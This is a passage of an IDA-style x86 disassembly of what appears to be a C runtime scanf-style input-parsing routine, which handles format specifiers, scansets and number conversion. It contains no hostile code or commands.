		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420538
; ---------------------------------------------------------------------------


loc_420529:				; CODE XREF: sub_420445+D3j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420538:				; CODE XREF: sub_420445+E2j
		test	eax, eax
		jz	short loc_42054E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_42054E:				; CODE XREF: sub_420445+F5j
		cmp	ebx, 4Eh
		jg	short loc_420591
		jz	short loc_4205B3
		cmp	ebx, 2Ah
		jz	short loc_42058C
		cmp	ebx, 46h
		jz	short loc_4205B3
		cmp	ebx, 49h
		jz	short loc_42056E
		cmp	ebx, 4Ch
		jnz	short loc_4205A0
		inc	[ebp+var_D]
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_42056E:				; CODE XREF: sub_420445+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_4205A0
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_4205A0
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_42058C:				; CODE XREF: sub_420445+113j
		inc	[ebp+var_E]
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_420591:				; CODE XREF: sub_420445+10Cj
		cmp	ebx, 68h
		jz	short loc_4205AD
		cmp	ebx, 6Ch
		jz	short loc_4205A5
		cmp	ebx, 77h
		jz	short loc_4205A8


loc_4205A0:				; CODE XREF: sub_420445+122j
					; sub_420445+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_4205A5:				; CODE XREF: sub_420445+154j
		inc	[ebp+var_D]


loc_4205A8:				; CODE XREF: sub_420445+159j
		inc	[ebp+var_5]
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_4205AD:				; CODE XREF: sub_420445+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_4205B3:				; CODE XREF: sub_420445+107j
					; sub_420445+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_42050C
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4205D8
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4205D8:				; CODE XREF: sub_420445+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4205F6
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4205F2
		cmp	al, 43h
		jz	short loc_4205F2
		or	[ebp+var_5], 0FFh
		jmp	short loc_4205F6
; ---------------------------------------------------------------------------


loc_4205F2:				; CODE XREF: sub_420445+1A1j
					; sub_420445+1A5j
		mov	[ebp+var_5], 1


loc_4205F6:				; CODE XREF: sub_420445+19Bj
					; sub_420445+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_42062F
		cmp	esi, 63h
		jz	short loc_420620
		cmp	esi, 7Bh
		jz	short loc_420620
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420ED2
		pop	ecx
		jmp	short loc_42062B
; ---------------------------------------------------------------------------


loc_420620:				; CODE XREF: sub_420445+1C5j
					; sub_420445+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1


loc_42062B:				; CODE XREF: sub_420445+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_42062F:				; CODE XREF: sub_420445+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42063F
		cmp	[ebp+var_C], eax
		jz	loc_420E1B


loc_42063F:				; CODE XREF: sub_420445+1EFj
		cmp	esi, 6Fh
		jg	loc_4208A6
		jz	loc_420B58
		cmp	esi, 63h
		jz	loc_420883
		cmp	esi, 64h
		jz	loc_420B58
		jle	loc_4208D0
		cmp	esi, 67h
		jle	short loc_4206A3
		cmp	esi, 69h
		jz	short loc_42068B
		cmp	esi, 6Eh
		jnz	loc_4208D0
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420D86
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_42068B:				; CODE XREF: sub_420445+229j
		push	64h
		pop	esi


loc_42068E:				; CODE XREF: sub_420445+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_420918
		mov	[ebp+var_17], 1
		jmp	loc_42091D
; ---------------------------------------------------------------------------


loc_4206A3:				; CODE XREF: sub_420445+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_4206BF
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_4206C4
; ---------------------------------------------------------------------------


loc_4206BF:				; CODE XREF: sub_420445+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4206DB


loc_4206C4:				; CODE XREF: sub_420445+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4206DE
; ---------------------------------------------------------------------------


loc_4206DB:				; CODE XREF: sub_420445+27Dj
		mov	edi, [ebp+arg_0]


loc_4206DE:				; CODE XREF: sub_420445+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4206ED
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4206F4


loc_4206ED:				; CODE XREF: sub_420445+29Dj
		mov	[ebp+var_C], 15Dh


loc_4206F4:				; CODE XREF: sub_420445+2A6j
					; sub_420445+2F2j
		cmp	dword_43A88C, 1
		jle	short loc_420709
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420714
; ---------------------------------------------------------------------------


loc_420709:				; CODE XREF: sub_420445+2B6j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420714:				; CODE XREF: sub_420445+2C2j
		test	eax, eax
		jz	short loc_420739
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420739
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4206F4
; ---------------------------------------------------------------------------


loc_420739:				; CODE XREF: sub_420445+2D1j
					; sub_420445+2DBj
		cmp	byte_43A890, bl
		jnz	short loc_4207A7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4207A7
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		mov	al, byte_43A890
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_420762:				; CODE XREF: sub_420445+360j
		cmp	dword_43A88C, 1
		jle	short loc_420777
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420782
; ---------------------------------------------------------------------------


loc_420777:				; CODE XREF: sub_420445+324j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420782:				; CODE XREF: sub_420445+330j
		test	eax, eax
		jz	short loc_4207A7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4207A7
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420762
; ---------------------------------------------------------------------------


loc_4207A7:				; CODE XREF: sub_420445+2FAj
					; sub_420445+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42083F
		cmp	ebx, 65h
		jz	short loc_4207BF
		cmp	ebx, 45h
		jnz	loc_42083F


loc_4207BF:				; CODE XREF: sub_420445+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42083F
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4207E6
		mov	[esi], al
		inc	esi
		jmp	short loc_4207EB
; ---------------------------------------------------------------------------


loc_4207E6:				; CODE XREF: sub_420445+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_420809


loc_4207EB:				; CODE XREF: sub_420445+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4207FA
		and	[ebp+var_C], eax
		jmp	short loc_420809
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420445+3AEj
					; sub_420445+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420809:				; CODE XREF: sub_420445+3A4j
					; sub_420445+3B3j
		cmp	dword_43A88C, 1
		jle	short loc_42081E
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420829
; ---------------------------------------------------------------------------


loc_42081E:				; CODE XREF: sub_420445+3CBj
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420829:				; CODE XREF: sub_420445+3D7j
		test	eax, eax
		jz	short loc_42083F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42083F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4207FA
; ---------------------------------------------------------------------------


loc_42083F:				; CODE XREF: sub_420445+366j
					; sub_420445+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420EBB
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420E4B
		cmp	[ebp+var_E], 0
		jnz	loc_420DAC
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43AC30
		add	esp, 0Ch
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_420883:				; CODE XREF: sub_420445+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_420892
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_420892:				; CODE XREF: sub_420445+441j
		cmp	[ebp+var_5], 0
		jle	short loc_42089C
		mov	[ebp+var_16], 1


loc_42089C:				; CODE XREF: sub_420445+451j
		mov	edi, offset dword_43AB08
		jmp	loc_4209B1
; ---------------------------------------------------------------------------


loc_4208A6:				; CODE XREF: sub_420445+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420B54
		sub	eax, 3
		jz	loc_4209A2
		dec	eax
		dec	eax
		jz	loc_420B58
		sub	eax, 3
		jz	loc_42068E
		sub	eax, 3
		jz	short loc_4208F4


loc_4208D0:				; CODE XREF: sub_420445+21Bj
					; sub_420445+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420E1B
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420DAC
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_4208F4:				; CODE XREF: sub_420445+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4208FE
		mov	[ebp+var_16], 1


loc_4208FE:				; CODE XREF: sub_420445+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_4209B5
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_4209B1
; ---------------------------------------------------------------------------


loc_420918:				; CODE XREF: sub_420445+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_42093F


loc_42091D:				; CODE XREF: sub_420445+259j
		dec	[ebp+var_C]
		jnz	short loc_42092E
		cmp	[ebp+var_20], 0
		jz	short loc_42092E
		mov	[ebp+var_F], 1
		jmp	short loc_42093F
; ---------------------------------------------------------------------------


loc_42092E:				; CODE XREF: sub_420445+4DBj
					; sub_420445+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_42093F:				; CODE XREF: sub_420445+4D6j
					; sub_420445+4E7j
		cmp	ebx, 30h
		jnz	loc_420B8D
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_42098D
		cmp	bl, 58h
		jz	short loc_42098D
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420977
		push	6Fh


loc_420971:				; CODE XREF: sub_420445+55Bj
		pop	esi
		jmp	loc_420B8D
; ---------------------------------------------------------------------------


loc_420977:				; CODE XREF: sub_420445+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420EBB
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420B8A
; ---------------------------------------------------------------------------


loc_42098D:				; CODE XREF: sub_420445+517j
					; sub_420445+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420971
; ---------------------------------------------------------------------------


loc_4209A2:				; CODE XREF: sub_420445+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_4209AC
		mov	[ebp+var_16], 1


loc_4209AC:				; CODE XREF: sub_420445+561j
		mov	edi, offset dword_43AB00


loc_4209B1:				; CODE XREF: sub_420445+45Cj
					; sub_420445+4CEj
		or	[ebp+var_18], 0FFh


loc_4209B5:				; CODE XREF: sub_420445+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4209D9
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_4209D9
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_4209DC
; ---------------------------------------------------------------------------


loc_4209D9:				; CODE XREF: sub_420445+584j
					; sub_420445+589j
		mov	dl, [ebp+var_35]


loc_4209DC:				; CODE XREF: sub_420445+592j
					; sub_420445+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420A41
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420A28
		test	dl, dl
		jz	short loc_420A28
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420A28
		inc	edi
		cmp	dl, cl
		jnb	short loc_4209FB
		mov	al, cl
		jmp	short loc_4209FF
; ---------------------------------------------------------------------------


loc_4209FB:				; CODE XREF: sub_420445+5B0j
		mov	al, dl
		mov	dl, cl


loc_4209FF:				; CODE XREF: sub_420445+5B4j
		cmp	dl, al
		ja	short loc_420A24
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420A0C:				; CODE XREF: sub_420445+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420A0C


loc_420A24:				; CODE XREF: sub_420445+5BCj
		xor	dl, dl
		jmp	short loc_4209DC
; ---------------------------------------------------------------------------


loc_420A28:				; CODE XREF: sub_420445+5A0j
					; sub_420445+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_4209DC
; ---------------------------------------------------------------------------


loc_420A41:				; CODE XREF: sub_420445+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420E4B
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420A53
		mov	[ebp+arg_4], edi


loc_420A53:				; CODE XREF: sub_420445+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420EBB
		pop	ecx
		pop	ecx


loc_420A6A:				; CODE XREF: sub_420445+6BCj
					; sub_420445+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420A7E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420B1A


loc_420A7E:				; CODE XREF: sub_420445+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420B0E
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420B0E
		cmp	[ebp+var_E], 0
		jnz	short loc_420B06
		cmp	[ebp+var_16], 0
		jz	short loc_420AFB
		mov	ecx, off_43A680
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420ADA
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		pop	ecx
		mov	[ebp+var_37], al


loc_420ADA:				; CODE XREF: sub_420445+686j
		push	dword_43A88C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423DCB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420AFE
; ---------------------------------------------------------------------------


loc_420AFB:				; CODE XREF: sub_420445+673j
		mov	[esi], al
		inc	esi


loc_420AFE:				; CODE XREF: sub_420445+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420A6A
; ---------------------------------------------------------------------------


loc_420B06:				; CODE XREF: sub_420445+66Dj
		inc	[ebp+var_30]
		jmp	loc_420A6A
; ---------------------------------------------------------------------------


loc_420B0E:				; CODE XREF: sub_420445+649j
					; sub_420445+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420EBB
		pop	ecx
		pop	ecx


loc_420B1A:				; CODE XREF: sub_420445+633j
		cmp	[ebp+var_30], esi
		jz	loc_420E4B
		cmp	[ebp+var_E], 0
		jnz	loc_420DAC
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420DAC
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420B4C
		and	word ptr [eax],	0
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_420B4C:				; CODE XREF: sub_420445+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_420B54:				; CODE XREF: sub_420445+466j
		mov	[ebp+var_D], 1


loc_420B58:				; CODE XREF: sub_420445+203j
					; sub_420445+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420B66
		mov	[ebp+var_17], 1
		jmp	short loc_420B6B
; ---------------------------------------------------------------------------


loc_420B66:				; CODE XREF: sub_420445+719j
		cmp	ebx, 2Bh
		jnz	short loc_420B8D


loc_420B6B:				; CODE XREF: sub_420445+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420B7C
		cmp	[ebp+var_20], 0
		jz	short loc_420B7C
		mov	[ebp+var_F], 1
		jmp	short loc_420B8D
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420445+729j
					; sub_420445+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		pop	ecx
		mov	ebx, eax


loc_420B8A:				; CODE XREF: sub_420445+543j
		mov	[ebp+var_14], ebx


loc_420B8D:				; CODE XREF: sub_420445+4FDj
					; sub_420445+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420CA6
		cmp	[ebp+var_F], 0
		jnz	loc_420C84


loc_420BA1:				; CODE XREF: sub_420445+82Cj
		cmp	esi, 78h
		jnz	short loc_420BF5
		cmp	dword_43A88C, 1
		jle	short loc_420BBE
		push	80h
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420BCB
; ---------------------------------------------------------------------------


loc_420BBE:				; CODE XREF: sub_420445+768j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420BCB:				; CODE XREF: sub_420445+777j
		test	eax, eax
		jz	loc_420C76
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423EA0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420E6A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420C48
; ---------------------------------------------------------------------------


loc_420BF5:				; CODE XREF: sub_420445+75Fj
		cmp	dword_43A88C, 1
		jle	short loc_420C0A
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420C15
; ---------------------------------------------------------------------------


loc_420C0A:				; CODE XREF: sub_420445+7B7j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420C15:				; CODE XREF: sub_420445+7C3j
		test	eax, eax
		jz	short loc_420C76
		cmp	esi, 6Fh
		jnz	short loc_420C33
		cmp	ebx, 38h
		jge	short loc_420C76
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423EA0
		jmp	short loc_420C42
; ---------------------------------------------------------------------------


loc_420C33:				; CODE XREF: sub_420445+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DA20


loc_420C42:				; CODE XREF: sub_420445+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420C48:				; CODE XREF: sub_420445+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420C60
		dec	[ebp+var_C]
		jz	short loc_420C84


loc_420C60:				; CODE XREF: sub_420445+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420BA1
; ---------------------------------------------------------------------------


loc_420C76:				; CODE XREF: sub_420445+788j
					; sub_420445+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420EBB
		pop	ecx
		pop	ecx


loc_420C84:				; CODE XREF: sub_420445+756j
					; sub_420445+819j
		cmp	[ebp+var_17], 0
		jz	loc_420D6A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420D6A
; ---------------------------------------------------------------------------


loc_420CA6:				; CODE XREF: sub_420445+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420D62


loc_420CB0:				; CODE XREF: sub_420445+90Aj
		cmp	esi, 78h
		jz	short loc_420CF4
		cmp	esi, 70h
		jz	short loc_420CF4
		cmp	dword_43A88C, 1
		jle	short loc_420CCF
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420CDA
; ---------------------------------------------------------------------------


loc_420CCF:				; CODE XREF: sub_420445+87Cj
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CDA:				; CODE XREF: sub_420445+888j
		test	eax, eax
		jz	short loc_420D54
		cmp	esi, 6Fh
		jnz	short loc_420CED
		cmp	ebx, 38h
		jge	short loc_420D54
		shl	edi, 3
		jmp	short loc_420D2C
; ---------------------------------------------------------------------------


loc_420CED:				; CODE XREF: sub_420445+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420D2C
; ---------------------------------------------------------------------------


loc_420CF4:				; CODE XREF: sub_420445+86Ej
					; sub_420445+873j
		cmp	dword_43A88C, 1
		jle	short loc_420D0C
		push	80h
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420D19
; ---------------------------------------------------------------------------


loc_420D0C:				; CODE XREF: sub_420445+8B6j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420D19:				; CODE XREF: sub_420445+8C5j
		test	eax, eax
		jz	short loc_420D54
		push	ebx
		shl	edi, 4
		call	sub_420E6A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420D2C:				; CODE XREF: sub_420445+8A6j
					; sub_420445+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420D3E
		dec	[ebp+var_C]
		jz	short loc_420D62


loc_420D3E:				; CODE XREF: sub_420445+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420CB0
; ---------------------------------------------------------------------------


loc_420D54:				; CODE XREF: sub_420445+897j
					; sub_420445+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420EBB
		pop	ecx
		pop	ecx


loc_420D62:				; CODE XREF: sub_420445+865j
					; sub_420445+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420D6A
		neg	edi


loc_420D6A:				; CODE XREF: sub_420445+843j
					; sub_420445+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420D73
		and	[ebp+var_1C], 0


loc_420D73:				; CODE XREF: sub_420445+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420E4B
		cmp	[ebp+var_E], 0
		jnz	short loc_420DAC
		inc	[ebp+var_34]


loc_420D86:				; CODE XREF: sub_420445+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420D9C
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420DAC
; ---------------------------------------------------------------------------


loc_420D9C:				; CODE XREF: sub_420445+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420DA9
		mov	[eax], edi
		jmp	short loc_420DAC
; ---------------------------------------------------------------------------


loc_420DA9:				; CODE XREF: sub_420445+95Ej
		mov	[eax], di


loc_420DAC:				; CODE XREF: sub_420445+241j
					; sub_420445+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420DF9
; ---------------------------------------------------------------------------


loc_420DB7:				; CODE XREF: sub_420445+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420E26
		mov	ecx, off_43A680
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420DF9
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420E34
		dec	[ebp+var_4]


loc_420DF9:				; CODE XREF: sub_420445+970j
					; sub_420445+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420E0F
		cmp	byte ptr [esi],	25h
		jnz	short loc_420E51
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420E51
		mov	esi, eax


loc_420E0F:				; CODE XREF: sub_420445+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42046F
		jmp	short loc_420E4B
; ---------------------------------------------------------------------------


loc_420E1B:				; CODE XREF: sub_420445+1F4j
					; sub_420445+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420E2B
; ---------------------------------------------------------------------------


loc_420E26:				; CODE XREF: sub_420445+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420E2B:				; CODE XREF: sub_420445+9DFj
		call	sub_420EBB
		pop	ecx
		pop	ecx
		jmp	short loc_420E4B
; ---------------------------------------------------------------------------


loc_420E34:				; CODE XREF: sub_420445+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420EBB
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420EBB
		add	esp, 10h


loc_420E4B:				; CODE XREF: sub_420445+1Fj
					; sub_420445+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420E62


loc_420E51:				; CODE XREF: sub_420445+9BDj
					; sub_420445+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
